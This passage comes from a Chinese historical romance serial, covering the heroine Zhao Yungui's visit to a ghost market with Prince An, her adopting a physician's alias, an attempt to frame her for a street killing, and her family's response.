“真不愧是……太后啊！”
箫元义嘴角微勾，话语中满是自嘲，仿佛是肖暮云的话深深的刺痛了他的心，让他无法忍受。
“你？”
不等肖暮云想到些什么箫元义便绕过桌子走到了她的身后，却依旧是一言不发。
“哈哈哈。”
肖暮云甩袖转身，翘起二郎腿，手肘撑着旁边的桌子，身子软下去，将头撑在手上，就如此微微仰头饶有兴致的看着前方的人，“怎的，皇帝这眼神……是……想杀了哀家吗？”
“太后如此笃定我不会吗？”
“不然呢？”肖暮云撑着桌子起身，与箫元义对而站，微微仰头，抬起手指尖轻轻拂过他的脸颊嘴角不自觉勾起眼中全是玩味，“皇帝难道忘了你的位置是怎么来的了？”
“哼。”
箫元义的眼睛死死的盯着她，心中满是不解，他不明白为什么当初那个天真善良的少女会变成如今这样，“所以呢？”
仿佛他从未真正的认识过眼前这个人。
轻声说着他的指尖将抚上肖暮云泛红的耳朵，指尖轻轻的捏住它，摩挲着，“你……当真不曾后悔……”曾做过的那些事吗？
“我如今也是万人之上，为何后悔？”脑海中浮现的画面让她是眼神变得凶狠。
她不曾被善待却要被逼着善待他们？
凭什么？
肖暮云将手挣脱出来，转过身走了几步，将两人的距离拉开了些，眼神里闪过一丝落寞，沉默着走到门边打开了门，“皇帝行事还是要注意些。”
“若是皇帝与哀家屏退下人还关上了门共处一室这事传到那些老东西耳里，又不知会如何编排你了。”
“皇帝如今的位置来之不易，应当珍惜！”
“哼！”冷笑一声，箫元义捏住肖暮云的脖子迫使她与自己对视着，“这不是你逼我的吗？”
“哈哈哈？”
“咳！”箫元义手中力度不断加重她却丝毫不担心，依旧在激他，“我逼你？”
“咳咳！”
如今他有了万人之上的权力了倒是想着把自己摘干净了，想得美，“毒是你下的，也是你送到他手里的。”
“咳…哈哈…咳。”
肖暮云的话勾起了那段往事的记忆，掐着她脖子的手慢慢松开，见状直接推开了他离他远了些，“如今说是我逼你的？”
十三年了，如今想洗白，“晚了！”
见箫元义瘫坐下肖暮云重新走近，路过他时手下意识抬起又迅速收回在旁边坐下，尽可能的将声音放柔了些，“皇帝重义，可事情已经发生他不会原谅你的。”
“我可不想看着你死在我面前。”
“好。”
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>两人错开眼神，不再多言，沉默一瞬箫元义起身离开这儿。
微风拂过，赵云归脑海中浮现出那个男子的样貌，“眉尾处有一道疤，下唇也有一道疤。”
凭记忆还真不知道该如何形容，若是能见到这个人定是能认出来，箫祁政只告诉她想要打探消息便去今朝醉，她再想要追问幕后之人却被箫祁政搪塞过去了。
按他的意思便是不知道才安全。
可连敌人都不知道又该如何自保，箫祁政只是低声一笑不做回答。
“起风了啊。”
箫祁政伸出手感受着，抬眼望去乌云密布，“若是无事，便陪我去个地方吧。”
“好。”
下了马车，一小厮就跑了出来，谄媚的跪在箫祁政脚边，“安王有何吩咐？”
伸手挡住嘴说了些什么，小厮看赵云归的眼神是变了又变，在今朝醉前站了好一会儿两人才被带进去。
进了二楼的一个房间小厮递给她一条黑布。
见箫祁政点了点头，赵云归没有犹豫的用这布条挡住了眼睛，感受到手掌的温度才缓缓迈开腿。
“到了。”
停下脚步，被握住的手松开，赵云归这才抬手解开挡住双眼的布条。
可眼前依旧漆黑。
突然面前的门自动打开，微弱的光伴随着叽叽喳喳吵闹声一同闯入，小厮推着箫祁政走了出去，这里与上面的市集相似，只是这里环境昏暗，更显压抑，这便是他们口中强者为尊的鬼市！
“请。”
走出门便关上，像是它从来都未存在过一样。
“这鬼市这种啊，有三巨头。”
“若是见到了最好避着些。”
这里主要就是一条长街，入口往里走是一些小摊贩，主要是卖一些有趣的小玩意儿的，但也不妨有一些珍奇的东西混在里面。
能不能找到，这都得看运气。
毕竟宝物只遇有缘人嘛！
赵云归看见一个有意思的玩意儿准备拿起来小厮连忙制止了，对着摊主赔了个笑脸便带着赵云归往前走了。
“需记住一点，不买不问，未买勿碰。”
箫祁政在一旁丢了一个金元宝在摊上，摊主便一脸谄媚的将那小玩意儿递给了赵云归。
“谢谢王爷！”
小厮又带着他们停在一个挤满人的地方。
高台上一个穿着红色长裙，满身戴着银饰的女子盘腿坐着，抬起手纤长的手展示在众人面前。
谁想她的袖中竟爬出了一条黑蛇盘绕在女子手腕上，正对着人群嘶嘶吐着蛇信子，她手中的青铜铃铛微微晃动周围杂乱的声音瞬间如消失一般，生怕惹怒了她。
小厮凑近她的耳边小声说道，“求福。”
赵云归了解了，微微颔首白烟吐出，就见一条又长又粗的蜈蚣从高台上女子微微张开的嘴里快速爬出，自下而上，爬进了被面具挡住的脸颊便没再出现了。
她正是看的入神的时候就被小厮叫走了。
“这人便是鬼市三巨头之一，代号‘鸢’，排末尾，所以这里的人称她为‘鸢尾’。”
鸢尾擅毒，也擅下蛊，她曾扬言种了她的毒便只有等死的份，就算是大罗神仙来了也只能无功而返，所以在鬼市没有人愿与她发生正面冲突，都是恭恭敬敬的。
“记住了，日后若是见到能避则避。”
还有最重要的一点，切记，她是太后的人！
5. 她可不是什么神医
赵云归点了点头，今后避着些就好了，几人继续往里走经过一个石梯后便到了尽头。
往左走便是鸢尾的住所，往左走便是京城唯一一个拍卖消息的地方——长风堂，正对的则是京城最大的赌场——烟雨楼。
只要敢问敢出价，长风堂里便没有不知道的消息，而它的管事是鬼市三巨头之一也是今朝醉的二当家，“钱万三！”
“钱老板常以真容示人便无代号。”
而烟雨楼的所有者便是这鬼市公认的老大，称之为‘罗刹公子’，只说他心地纯良，容貌绝美，举世无双，可在这鬼市之中屹立不倒的存在也绝不是什么好货色。
小厮哈哈一笑尴尬的挠了挠头，“不过我自是不配见其真容的。”
介绍完小厮转身看着赵云归搓了搓手，又是一脸谄媚相，“不知客官想去何处？”
“我？”
赵云归咽了咽口水，有些紧张的往箫祁政旁边走了走，开口替赵云归说了今日的目的，神医谷一事具体是什么。
“越详细越好。”
“嗯，对。”赵云归其实知道箫祁政对于幕后之人心里跟明镜似的，也不知为何要多此一举，但还是在一旁附和着。
小厮也是表示到时候会将消息送到王府。
赵云归其实想要追问今朝醉的大东家是谁，可奈何箫祁政还在便不好多说，只好在一旁尽量别有什么存在感的好。
小厮便带着他们原路返回，却听到有人在说神医时隔多年再次现身，三人都听到了却都没有提，可赵云归也看出来箫祁政眼中的不对劲。
“咚—”
看来传言非虚，他一直在寻找神医的踪迹。
“咚咚—”
嘴角微勾，视线未多停留。
“咚—咚咚咚——”
此时的鸢尾早已起身，赤脚站于高台之上，腰间的铃铛随着她的舞动叮当作响，鼓声响个不停赵云归却没找到何人在击鼓，也未见鼓在何处。
几人也未多做停留，径直离开了。
回去的路上箫祁政的情绪看上去都特别的低，赵云归好几次叫他都没有反应，见状便坐近了些，手轻轻搭在他的手臂上，“王爷？”
温柔的声音在耳边响起。
箫祁政下意识转头看去，隔着面纱碰到了赵云归的鼻尖，愣了一下慌张的别过头去，眨眼的频率都高了不少，感觉看哪儿都不对。
一股红晕爬上耳尖。
见他这般模样，赵云归这才心满意足的坐回去。
直到赵云归将他送回房间都没再开口说话，也不好再逗他，出去后总感觉有一道视线落在身上，果不其然，等她只身离开时就被一个人拦住了，“你……是…云归吗？”
看着眼前女子的外貌和穿着，应该就是赵家的养女了，赵云归有些犹豫着叫道，“阿姊？”
赵心缇点了点头，看向她时眼中的开心不似作假，毫不掩饰心中的激动，伸手拉过她紧紧抱住，“太好了！”
她的声音哽咽，“终于……你终于回来了！”
“阿姊！”赵云归轻轻拍着她的背。
意识到自己做的不太得体，连忙松开了手，眼眸本是含泪，第一眼看去却似在发光，嘴角的笑也根本压不住。
轻轻抚摸她的头，“还好，还好没事。”
“回来了就好。”
赵心缇虽一直住在外面，却也听说了赵云归被刺杀一事，如今与赵离一回来后便来寻了她，也是反反复复的嘱咐她行事需小心些。
赵云归怎么也没明白这素未谋面的姐姐为何对她如此关心，倒让她不知如何是好了。
拉着她坐了许久见天色渐晚便起身要离开了。
送走赵心缇回到房间一个小丫鬟便端着一个小箱子走了进来，“安王殿下派人送来的。”
“好，下去吧。”
随意打开一看竟是黄金。
上面是金锭，下面是银票，看到这些赵云归人都傻了，“他…原来…这么大方的吗？”
这都送到她手上了哪里还有不要的道理啊。
赵云归十分满意的将箱子收了起来，本想着再出去一趟，可惜孙妈妈已经过来了，这是铁了心了不让她出门啊。
一日午时，孙妈妈刚离开箫祁政便过来想着与她告别，只是见她一心舞剑便未打扰，就在一旁静静看着直至结束，伸手鼓掌，“二小姐这套剑法倒是少见。”
赵云归将软剑收回，眼神有些飘忽，“这……都是些不入流的。”
“王爷这是要回去了吗？”
不给他反应的机会赵云归便走到她的身后，握住轮椅把手，将他往外推嘴上也说个不停，箫祁政是一点儿插嘴的机会都没有啊。
等外面的人将他搬上马车后赵云归便不再开口说话，站在旁边冲他挥手，“慢走哦！”
“云归…你不一起吗？”
箫祁政的声音听上去有些失落，可他掀开帘子两人对视的瞬间赵云归便就明白了他的意思，也是很不客气的上了马车，坐好后赵云归冲着他浅浅一笑，真要怀疑这人是她肚子里的蛔虫了。
两人一起进了安王府赵离派来的人便一直守在外面。
刚进去一个带着面具的玄衣男子便走了进来，接替了赵云归的位置，几人在一个庭院停下脚步，微风袭来赵云归望着一旁的沙沙作响的海棠树出了神，这树看样子年头还挺久的了。
箫祁政对着旁边的慕珂吩咐了一句，“去替赵二小姐准备一套男装。”
等慕珂走后赵云归走到箫祁政面前，一步步靠近，微微俯身，从他清澈的双眸里看到了自己，箫祁政的脸上难得浮现出一丝慌张，“怎么了？”
箫祁政看她的眼神仿佛两人相识多年一般，所以……“我们…是不是…在哪里见过啊？”
赵云归微微偏头，慢慢说着，仿佛是他的眼里能看到答案一般。
“咳！”
看上去有些慌张的别看颜色，“也许吧！”
箫祁政强装镇定的与赵云归对视着，不自觉的咽了咽口水，看到箫祁政有些泛红的脸颊赵云归装作没发现，立马站直看向其它地方。
这时慕珂刚好回来她便跟着他走了。
换好并戴上桌上的狐狸面具后赵云归抛了抛一旁的钱袋，非常满意，“还真的贴心啊！”
本想跟箫祁政打个招呼的，最后还是选择直接从侧门走了，也不知云归是怎么跟他扯上关系的，看上去纯情的很呐。
她就这么大摇大摆的走在街上。
不过这面具倒是引起了不少人注目。
找了许久才找到她想要找到的地方，走近，这装扮也是吓了那人一跳，“公…公
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子，何事？”
“我要租一个偏远的宅院。”
“要稍微大些。”
“好…好……”那牙人这才松了口气，原来是租房的啊，还以为是抢劫的呢，手中的手帕轻轻擦拭着额头上的细汗，将赵云归带到旁边坐下了。
按照她的要求拿了几张图纸给她。
稍微对比了一下，很快就决定好了，那牙人脸上的笑就没下来过，正愁这些地方太偏了没人租呢没想到她这般爽快。
连忙立了字据，给她。
等签订好契本交了租金，赵云归又去买了些药材便第一时间过去了，正在她收拾时慕珂又找上了那家店铺。
牙人看着慕珂递给他的纸上面的地址犯了难，“不是啊，公子。”
“这宅院我今日刚租出去啊。”
“我这……也不好将人再赶走不是嘛！”话虽是这么说，可那牙人的眼神就没从桌子上的钱袋上移开。
慕珂摇了摇头，他可不是来租屋子的。
“买。”
说着慕珂又掏出了一个鼓囊囊的钱袋子，将两个钱袋子扯开，居然是满满两袋黄金啊！
“没问题！”这跟谁过不去都不能跟钱过不去啊，不过，“事先说好了，人可得你自己去赶。”
“嗯。”
“得嘞！”牙人谄媚的给他倒了茶水才去找地契，等所有都办好了又满是热情的送走她。
看着焕然一新的宅院，赵云归才满意的点了点头，重新带上面具便坐上马车往城内去了，还了马车，走在大街上，听到了不少人在讨论神医一事。
赵云归放慢脚步竖起耳朵偷听着。
“我就是喝了那药才好的，真是神医啊。”
“菩萨心肠啊。”
……
具体倒也没什么，不过很多人都说是神医在前面义诊，赵云归本想去凑凑热闹的，不过，“我一个人该多无趣啊！”
等她推开王府后门时箫祁政已经在不远处等着了，见她见了将原本放在腿上的篮子递给旁边的慕珂，便等着她过去了。
“王爷猜我听到了什么！”
箫祁政配合着猜了几句，只见她摇了摇头，有些激动的将听到之事告诉了他，箫祁政眼中闪过一丝惊讶，脸上到没什么欣喜之色，不过最后还是同意陪赵云归去看看了。
换回衣裳后两人便一同出了门。
队伍有些长便让慕珂先去排着了，两人在马车里坐着休息。
赵云归吃着手上热乎的糕点时不时的看向他，目光太过炽热，箫祁政不得不睁开眼，无奈轻叹一声道，“有什么想问的便问吧。”
“可别憋坏了。”
他都如此说了赵云归自是不客气的，“王爷是不开心吗？”
“啊？”这没上文又没下文的问题把箫祁政都问懵了，“没有吧。”
“可是…都要见到神医了，你怎么一点反应都没有呢？”赵云归的眼神有意无意的看向箫祁政的腿，他自然也反应过来这话中的意思了。
可，“她不是。”
不是？不是神医吗？可，“他们都说是啊。”
箫祁政搭在腿上的手用力的掐住自己的腿，低下头自嘲一笑，她也许是他们心中的神医，可她，“治不了我的腿。”
这些年他找了许多人，早就习惯了。
6. 那便叫我鬼信无常
赵云归挪近了些，眼眸低垂，伸手想要碰他的腿，只是一瞬又收回了，再次抬眼时满含笑意，“没关系啊，我可以照顾你的。”
“什么？”
“什么什么？”赵云归像是没听出他话中的含义一般，重复了一遍，声音清脆悦耳，“我说，我是你的未婚妻，我可以一直照顾你的。”
“好！”
箫祁政愣愣的看着她的眼睛，只觉心跳仿佛漏了一拍，反应过来后慌张的别过头掀开帘子，“快到我们了，先下去吧。”
“嗯，好啊。”
赵云归点了点头，环抱着手静静的看着他们将箫祁政抬下去，眼中满是探究，等外面的人再次掀开帘子与轮椅上的人对视的一刻赵云归才笑眼弯弯的起身下去。
被人们称为神医的女子身着青色的薄衫安静坐着，帷帽上的垂纱落地，让人看不见长相。
坐在她旁边的小姑娘见人迟迟不坐显得有些不耐烦了，“愣着干嘛，你们谁看啊？”
“他！”
赵云归将人推了过去自己坐在一旁的凳子上，女子才缓缓开口，“好，将手搭上来吧。”
女子声音轻柔悦耳，像缠绵的风一样，仿佛能带走了心中的一丝烦恼。
“伸手啊！”赵云归示意他把手伸出去。
见他没动静便伸手拉着他的手腕，迫使他的手搭在脉枕上，冰冷的指尖伴随着一阵清风落下，赵云归抬眼便看到薄纱随风飘起，那带着面纱的脸闯入她的眼眸。
女子眉心有一点痣，眼尾上挑，宛如神明。
只是，白瞳？她的眼睛看不见吗？
“公子……公子身体无碍，只是动怒时会引起头疼罢了。”说着，她说了个方子便让旁边的人去取药，再对他开口时声音中带染了些许失落，“倘若是为了旧疾，还恕民女无能为力。”
“好，多谢。”
离开时赵云归仍是一步三回头。
想知道她那双漂亮眼睛是不是真的看不见，一路上她的脑海里都是那双眼睛。
“到了。”
“啊，哦！”怎么这么快！
下马车后就见高梨已经在门口等着了，“阿兄！”
“慕珂！”箫祁政冷冽的声音在身后响起，赵云归下意识转身看去就见慕珂在藏什么东西，看上去像是个信封，也没多想冲着箫祁政挥了挥手便跟着高梨进去了。
“阿兄！你这几日去哪儿了啊？”
“就……去找了个人。”
高梨这语气和神情估计没找到他口中的人，赵云归也就没再多问，同他一起去与赵离聊了一会儿天就回自己的院子里去了。
这几日孙妈妈都没来，她便可自由出入了。
只是她每次出门都会有人跟着，据这么多天观察来看，跟着她的还不止一个两个，本来想去外面租的宅院看看的也没法去了。
一日，赵云归用完早膳后便上了马车。
到了安王府，像是知道她会来一样刚下马车就见慕珂倚靠在一旁等着，跟着他进去，箫祁政便坐在那海棠花树下，嘴角扬起一丝淡淡的笑，看着她来的方向。
“王爷知道我会来？”
“也许……是我们心有灵犀呢！”
赵云归有些不太自在的挪开眼神坐在旁边，自己倒了杯水喝了一口，抬眼看到这海棠花树，上次就想问了，看着树的年份估计他很小时就种下了。
所以，“王爷…是…很喜欢海棠花吗？”
箫祁政倒是没有否认，也没点头就定定看着她的眼睛，“你呢？”
赵云归的眼神飘忽一瞬，思索着。
原来如此啊，还真是个痴情郎呢。
她愣了一瞬才反应过来一样微低下头，眼神左右乱飘着，衣服都被她有些泛红的指尖捏皱了，许是她的反应便给出了答案，箫祁政并没有追着让她回答。
又坐了一会儿便跟着慕珂离开了。
戴好软剑，看着桌上收敛了些的面具，赵云归笑着摇了摇头，戴上离开。
停下脚步。
转身。
抬眼便看到了牌匾上的字，“今朝醉！”
走进去找了个角落的位置，稍微等了会儿赵云归将桌上的酒杯摆成一排。
杯口依次是，上、下、下、上、上。
从竹筒中拿出一双筷子，双指夹住轻敲了一下中间的杯子，很快便有一个小厮走了过来将桌上的东西复原，半蹲着，压低了声音，“不知客官需要些什么？”
赵云归从钱袋里取出一块小金元宝递到他手上等他收好才缓缓开口，“许久不见啊，乔牧！”
乔牧神情惊愕，声音发颤，“姑娘？”
“是你吗？”
赵云归微微点头他才从震惊中缓过神来，带着她走到了一个全是挂画古玩的房间，转动架子上的一个香炉暗门打开。
“姑娘，请。”
两人走近，小厮拉了一下手边的绳子暗门关上周围陷入一片漆黑，感觉整个人都在下坠。
停下，耳边响起敲击声。
咚——咚咚——咚——咚。
石门随机打开，两人迈步出去，乔牧自从知道她的身份后嘴角的笑容便没下来过，“要告诉他们您回来了吗？”
“不用。”
之前的身份还是不要暴露出来了。
停下脚步，乔牧拿出钥匙上前开锁，赵云归则静静打量着那牌匾上的字——叁生堂。
“您不在的这些年我也有打扫的。”
赵云归点了点头，“行了，你先回去吧。”乔牧早年间便一直跟着苏白英，如今还是需适当注意些。
果不其然，等他走后这屋子前就聚满了人，看来这神医的名头就算是了过去了这么多年还是唬人啊。
门依旧敞着，只是没一个人敢进来。
“哟，这是怎的了？”
“不会是我错过了什么好戏吧！”清脆的女声从人群中传出，一个身着暗蓝色长裙戴着面具的人走出便自动生出一条路来。
她身上的银饰和铃铛随着腰肢的扭动发出清脆响声，原本嘈杂的交谈声瞬间消失不见，甚至连其他人的呼吸声仿佛都弱了下来。
鸢尾抬脚迈进叁生堂，径直朝着坐在一旁的赵云归走去。
“你叫什么？”说着鸢尾一手撩起裙子，抬脚踩到了赵云归面前的木桌上，白皙的皮肤暴露在了空气中。
鸢尾撑着腿俯身盯着她，“问你话呢！”
“鬼信……”开口道瞬间赵云归的手上多出来一把匕首，抬眸瞬间面具下的嘴角勾起，匕首在手中转了一圈后直冲鸢尾的踩在桌上的脚刺去，“无常！”
松开手任由匕首插在木桌上。
“鬼信无常？”白了她一眼，鸢尾坐在凳子上两腿交叉搭在桌子上，拔出匕首把玩着，“什么破名字。”
神医鬼信？鬼信无常？
原来是个冒牌货啊，还真是，“无趣。”
赵云归没有跟她辩驳的打算，鬼信原本是苏白英的代号，如今她不在了，便借
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“砰！”鸢尾起身活动了一下脖子，外面的人都等着看好戏呢，匕首却被丢回到桌子上，“下次再来找你玩儿哦！”
等鸢尾离开了门前的人也散开了，赵云归在里面捣鼓了许久也不见人来便收拾收拾回去了。
夕阳西下，原本刺眼的阳光变成了橙黄色，洒落在屋顶瓦片，宛如一幅画，缱绻微风拂过带走满是燥热。
走出今朝醉的那一刻眼神便打量着周围的人，不知为何总感觉有几道不太友善的视线落在身上。
“啧。”还真的是坚持啊！
果然在经过一个摊位时感受到背后的冷意，侧身躲过那人的匕首刺了个空，赵云归定身看着那人满脸狰狞的又刺了过来。
“啊！”
“杀人啊！”
周围早就乱成了一团，赵云归反手捉住那人握着匕首的手腕，见挣脱不开男人另一个朝她挥了过去，见状握住他的手松开，抬脚便将人踹飞了出去。
“啊！”
“贱人，我要杀了你！”地上的男人捡起一旁掉落的匕首爬起来又朝赵云归刺了过去。
闪身躲过，压下拔剑的念头拔腿就跑。
那人却跟不要命了一般追在后面，赵云归跑不过他只好停下脚步，一个没注意左肩被他划了一下。
男人再次朝她扑去时留下破绽，赵云归顺势捉住他的手腕用他手上的匕首抵住他的脖子，“说，是谁派你来的？”
男人凶狠的瞪着她，却没有反抗。
“说！”低吼着，手上的力道加重，男人的脖颈处留下一道淡淡的红痕。
只是想着吓唬吓唬那人，没想到那人嘴角突然流出鲜红的血液，身体一软手中的匕首落地，在赵云归松手的瞬间那人也直挺挺的倒了下去。
本没有人的小摊旁突然多了一个人，尖叫着，生怕引不来人一样。
“啊——！”
莲心穿着麻衣，看上去害怕的蹲在一旁。
“死人了。”
“死人了！”
“来人啊，救命……杀…人了！”
赵云归踉跄着往后退了一步，看了一眼旁边不知何时冒出来女人，又看响地上口中不停吐着鲜血的男人那嘴角挂着的笑容，赵云归这才明白自己被算计了。
“闪开！”
不远处马蹄声越来越近，赵云归顾不得太多慌乱的朝着相反的方向跑，可那些人却像是冲着她来的一样。
越来越近。
越来越快，越来越近！
赵云归微微喘息着，马蹄声仿佛是在她耳边响起就连大地都好像在晃动一般，引的她的心脏狂跳个不停。
前面就是安王府的后门了，赵云归回头看了一眼便看见了马头，“遭了！”
现在若是往门去必定会被捉个正着，危急之际她直接翻墙就进去了，就是有些太急了赵云归整个人是摔进去的。
“嘶！”
扶着快要断掉的腰站起身便与不远处箫祁政的对上了眼神。
看着她这狼狈的模样箫祁政没忍住笑出了声。
赵云归扶着腰走过去，有些尴尬道，“王爷不会是专程在这儿等我的吧。”
“哼！”箫祁政看了一眼旁边紧闭的门不禁轻笑一声，将手中的篮子递给旁边的人后，打趣道，“主要是不知云归竟不喜走门，不然我便不在这儿等了。”
赵云归像是罚站一样站着，想要说两句却半天都憋不出一个字来。
“你受伤了？”
7. 总捕衙司拿人
箫祁政注意到她肩膀上的被划烂的衣服，原本想要逗她的话硬生生吞了回去，脸上是掩饰不住的担心。
“怎么这么不小心？”
让慕珂找了药给她便将她送回房间了。
简单的包扎了一下换好衣裳便准备回去，了解了事情的经过后，箫祁政却并不是很赞同让赵云归此时回去。
那些人估计明日便会找上门，而这肩上的伤便是铁证，情急之下箫祁政提议让她留下，赵云归自是果断拒绝了，两人虽有婚约可毕竟尚未成婚，留宿怕是不妥。
况且这伤口一时半会儿也好不了，总不能一直躲着吧，先不说外人怎么想，家里的那位就是第一个不同意啊。
若是这般做了还不知道会怎么嚼舌根子呢。
吩咐慕珂找了些东西，简单的处理了一下伤口便回了将军府，走进门便看见一群人在忙活着些什么，赵心缇则是站在旁边指挥着，见她回来连忙走了过来。
“云归！”
“怎么这么晚才回来？”
她的声音柔柔的，其中的紧张不似作假，含在嘴里的话最终也只化作一声叹息，赵云归知道她也是担心自己，连忙挽住了她的手拉着她往里走。
“阿姊。”
“你们这是在做什么呢？”
“这不是过几日便是你的生辰了嘛，自然是得提前布置着的。”赵离不愿管这些事，她便想着回来看着，刚好也能陪她待上些时日。
想着这几日赵心缇都留下赵云归便将今日之事同她讲了，听的她眼中满是担忧，“没受伤吧？”
“没有的。”
“阿姊不用担心。”赵云归摇了摇头，本以为她是担心官兵找上门了，没想到赵心缇听完后便是觉得她虽未受伤也受了不小的惊吓。
细声安抚着她，让她好好休息不用担心。
次日，天刚亮外面便传来了马蹄踏地的声音。
一群官兵已将将军府上下围了起来，一个穿着暗红色衣袍相貌俊朗的十六七岁少年郎持刀走了进去，赵心缇是最先被外面的动静吸引了出来的。
少年看着眼前人顿住了脚步。
弯弯的柳眉下眼如繁星，刚刚沐浴出来只穿了一身简单的白纱，长发披散随风而动，一颦一笑摄人心魂，如此容貌只让那少年郎失了神。
“不知是什么风把总捕衙司吹来了啊？”
“不知……女公子如何称呼？”
赵心缇自是看懂了他眼中的炽热，下意识的往后退了一步，“赵心缇。”
“不知齐总捕大驾所为何事？”
“不请我进去坐坐吗？”
“这边请。”赵心缇转身的瞬间脸上闪过一丝不安，待两人坐下后便有人上了茶。
齐卫也进入了正题，“不知赵二小姐可在？”
赵心缇知道这人是冲着赵云归来的迅速给了旁边的侍女一个眼神，再次开口时她的声音也冷了下来，并不想给他什么好脸色，“不知舍妹所犯何事？”
“当街杀人，扰乱治安。”
“哼！”赵心缇嗤笑出声，眼神轻蔑语气不善道，“何时？何地？可有证据？”
“自然！”
齐卫不仅说出了时间地点，还说出来赵云归男扮女装的事情，连她是如何杀的人都细致的描述了出来，更荒唐的是他连证人都带了上了，好似人不带走决不罢休一般。
“哼！”
“这是…人证？”
赵心缇压根儿没把跪在旁边瑟瑟发抖，所谓的证人放在眼中，看着依旧沉稳，“没想到总捕衙司竟如此糊涂！”
“这也配叫……证据？”
她早就看出这是有心之人设局，就是不知赵云归这是得罪了谁，“那我们赵家上下所言岂不是也能当做证言？”
“你们这……是打算包庇啊！”齐卫并不恼，说话仍是不急不慢的，似是看着赵心缇脸上着急的神色是件多么有趣的事儿一般。
“包庇？”
赵心缇眼中闪过一丝寒光，勾起的嘴角是无声的嘲笑，“总捕衙司想要无证拿人也不看看这里是不是能容你放肆的地方！”
他确实没有证据，赵云归作为重臣之女定是不能强硬带走的，本以为高梨不在赵家便没有掌事之人了，如今倒还真是难办了。
“所以，你们这是不打算配合了？
“配合！”怎么会不配合呢，“只要……齐总捕能把证据摆出来，我们将军府绝对配合，没有怨言。”
见齐卫紧握手中的茶杯说不出话，赵心缇站起了来，只觉舒畅的很，“天子脚下将军府之人从不行包庇之事，齐总捕还请慎言。”
“既然拿不出证据，那便…慢走不送。”
赵心缇起身抬手想送人离开，齐卫却并不打算起身，低着头轻轻摩挲着手中的剑，缓缓开口道，“行凶之人肩膀受了伤，若二小姐并未伤口我一定带入离开不再叨扰。”
赵心缇还想拒绝却被打断了。
“阿姊。”
赵云归抬腿走进，齐卫闻言转身对视上的那一刻赵云归的腿像是有千斤重一般，愣在了原地迈不开腿。
怎么会是他？
他就是那日的那个蒙面人！
可，如此明显，箫祁政为何不告诉她？
突然赵云归想到了那日送他回来时慕珂藏的那封信，估计就是长风堂的密信了。
可现在还有更重要的事，深呼吸收回视线，走到赵心缇身边时她的手心已经微微出了细汗，面纱后的嘴唇轻抿着强装镇定开了口。
“阿姊，这位是？”
“总捕衙司，齐总捕。”
赵云归转过身面对着齐卫，轻轻舔了舔嘴唇，再次看到这张脸脑海中便是被他一剑刺穿胸膛的画面，一时间无法面对，便转身拉住了赵心缇的手，“是我来的不是时候了吗？”
感受到她的颤抖赵心缇拍了拍她的手，眼神温柔，安抚着她。
“不，赵二小姐来的正是时候。”
齐卫将昨日的事当着她的面又讲了一遍，眼神也一直在她的身上来回打量，非常的不友善，甚至可以说的上是毫不掩饰的恶意。
赵云归双眸满是惊恐的退了一步，不敢相信的问道，“齐总捕这是怀疑我杀了人？”
“难道不是吗？”
看似在问她，语气却十分笃定。
“我……我一个弱女子……”可怎么敢杀人的啊，况且，“我昨日……”
赵云归将箫祁政搬了出来，声称自己一整天都与安王在一起待着，所以并没有时间去杀人，齐卫听完却只是轻笑一声看似并不买账，“二小姐既想证明清白便让我看看你有没有伤口。”
赵心缇拦在赵云归身前，有些气恼道，“我们清清白白怎能让你看了去？”
齐
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卫翘着二郎腿，有些不耐的扭着手腕，威胁道，“我如今好声好气的说着你们最好配合，不然就只能将二小姐请到我那儿去看了。”
进了大牢，那……可就是按在地上硬扒了。
“你！”
赵云归拉住赵心缇才没让她硬刚。
“我未曾做过，齐总捕若是要看看便是了。”说着她绕过赵心缇走上前，作势要将外衫褪下，齐卫轻抬眼皮看去却没见接下来的动作，他也不急就静静看着。
“可若不是，齐总捕当如何？”
“哼！”齐卫轻笑一声没有开口说话，并不打算接着她的话从而做出什么承诺，赵云归再次走近一步，外衫从肩头滑落，肩膀上一道道伤疤露出，虽是十分骇人却都是旧伤未见新伤。
快速将衣服穿好，齐卫仍旧死死盯着，眉头微蹙虽觉得不对劲却没法再说什么。
“来人，送客！”
齐卫握着剑的手不断用力，虽不甘心可他不占理只得带着众人离开，可谓是来时多有气势走时就多狼狈。
“云归，你……伤口闷太久该难受了。”
“还是得先处理一下的。”
“阿姊！”万万没想到她已经看出来了，心中不觉一惊，“暂时不打紧的。”
赵心缇本是看到她身上一处处已经愈合的刀疤心中心疼的厉害想要出言安慰，可又怕戳到她的痛处便转了话锋。
赵云归点头答应了却没立马离开，拉着赵心缇的手走出去坐下了，知道刚赵心缇感受到她的颤抖了，怕误会给她解释了一下，刚刚看到齐卫发抖并不是因为被冤枉了，而是因为齐卫是青鸾山上杀害自己的人。
而且，“能活着便很好了。”
活着才能看着那些人付出代价，这一身疤痕便是让她时刻警醒着永远不要忘记那一夜，赵心缇听到这些话心中对齐卫的印象便更坏了。
两人聊着身后便传来了脚步声，同时看去就见赵离脸色难看的走了过来。
“祖母。”
两人同时起身，赵离走近坐下孙妈妈便看在一旁，看向赵心缇时她的眼神还算柔和，“心缇你回屋去。”
“祖母……”
“回屋！”
赵心缇本想要替赵云归解释，赵离却完全不给她说话的机会，没办法只能先离开了。
“过来。”
赵云归走近跪在赵离腿边，等着她的确实重重的一巴掌，“你知道外面都在怎么传吗？”
都说赵家嫡小姐当街杀人罔顾王法，还以势压人，赵离并不想知道这些话都是不是真的，但这些话一旦有人传便会有人信，若无事皇上虽不会去追究，可这是给其他官员机会戳赵家的脊梁骨啊！
是要多难听有多难听啊，她都说不出口。
“我都说了让你安分一些。”
“怎的我一日不看着你就开始惹事？”赵离轻拍着胸口顺着气，看上去着实被气的不轻，“早知这样还不如让你一直带在山上。”
自生自灭算了。
又或者是就该死在那场意外中，就不该将她救回来。
赵云归跪在旁边静静听着不做解释。
“唉！”
看着跪在旁边的，翻了个白眼。
还真是“看着都心烦啊。”说着她冲着旁边人招了招手，“孙妈妈，将她带走！”
“二姑娘，这边请吧。”
8. 生辰宴遭绑架
等赵云归站起身，孙妈妈便将带她去到了赵家的祠堂。
“二姑娘这几日便在这儿好好反省吧。”
“切记……”跪在这里好好反思，用心忏悔不得进食，否则……那可便是不敬先祖。
“明白了。”
“祖母气急，劳烦孙妈妈照看了。”
孙妈妈没再说什么，盯着赵云归在蒲团上跪好后便迈步离开这儿了。
平常的时间都不会有人靠近祠堂，如今就她一人呆着更觉静到仿佛那银针落地都能判断出方位来，而且此时的祠堂里没有点蜡烛，所见越来越暗，赵云归伸手轻按着隐隐作痛的腿，身后终于有脚步声传来。
微眯着眼，来人将蜡烛点燃，被光亮笼罩才舒服了些。
